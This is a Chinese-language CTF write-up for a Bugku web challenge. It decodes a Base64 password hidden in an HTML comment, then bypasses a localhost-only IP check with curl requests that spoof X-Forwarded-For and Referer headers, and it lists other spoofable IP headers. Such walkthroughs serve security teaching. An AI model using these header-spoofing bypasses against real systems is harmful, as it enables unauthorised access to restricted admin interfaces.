Bugku CTF - 本地管理員 writeup (zh-TW)

題目資訊
- 分類: Web
- 分數: 15
- 解決人次: 16385
- 題目提示: "本地管理员"
- 題目連結: https://ctf.bugku.com/challenges/detail/id/79.html
解題過程
Step 1: 檢查網頁原始碼
訪問網站看到登入表單,查看原始碼發現底部有大量 "n" 字元,滾動到最底部發現 HTML 註釋:
<!-- dGVzdDEyMw== -->
這是 Base64 編碼(特徵:字母數字加 +/
,結尾有 =
)
Step 2: Base64 解碼
echo "dGVzdDEyMw==" | base64 -d
結果:test123
這應該是密碼!
Step 3: 嘗試登入
根據題目「管理員系統」,嘗試:
- 使用者:
admin
- 密碼:
test123
curl -X POST http://117.72.52.127:18261/ \
-d "user=admin&pass=test123"
回應:
IP禁止访问,请联系本地管理员登陆,IP已被记录.
❌ 被 IP 限制阻擋了!
Step 4: 分析限制並繞過
錯誤訊息提示「本地管理員」,表示伺服器檢查 IP 位址,只允許本地(127.0.0.1)訪問,伺服器可能使用 HTTP 標頭來判斷 IP(如 X-Forwarded-For
),這些標頭可以被偽造!
Step 5: 偽造 IP 位址
使用 X-Forwarded-For
標頭偽造 IP 為 127.0.0.1
:
curl -X POST http://117.72.52.127:18261/ \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Referer: 127.0.0.1" \
-d "user=admin&pass=test123"
成功回應:
<font style="color:#FF0000">
<h3>The flag is: flag{Redacted}</h3>
</font>
🎯 成功取得 Flag!
同樣可以使用 Burp Suite !
- 攔截 POST 請求
- 添加標頭:
X-Forwarded-For: 127.0.0.1
- Forward 請求
學習重點
1. Base64 編碼識別
- 特徵:只含
A-Z a-z 0-9 + /
,結尾可能有=
- 解碼:
echo "string" | base64 -d
2. 常見 IP 偽造標頭
X-Forwarded-For: 127.0.0.1 # 最常用
X-Real-IP: 127.0.0.1 # Nginx 常用
Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
3. X-Forwarded-For 原理
- 用於記錄通過代理的客戶端真實 IP
- 格式:
X-Forwarded-For: client, proxy1, proxy2
- 可以被偽造,因為是 HTTP 標頭
經驗分享
這一題展示了 HTTP 標頭偽造的危險性,在真實環境中,類似的技巧可以:
- 繞過 IP 白名單限制
- 訪問僅限內部的管理介面或 API
- 配合其他漏洞(如 SSRF)形成攻擊鏈
所以深入理解 HTTP 標頭的安全性很重要。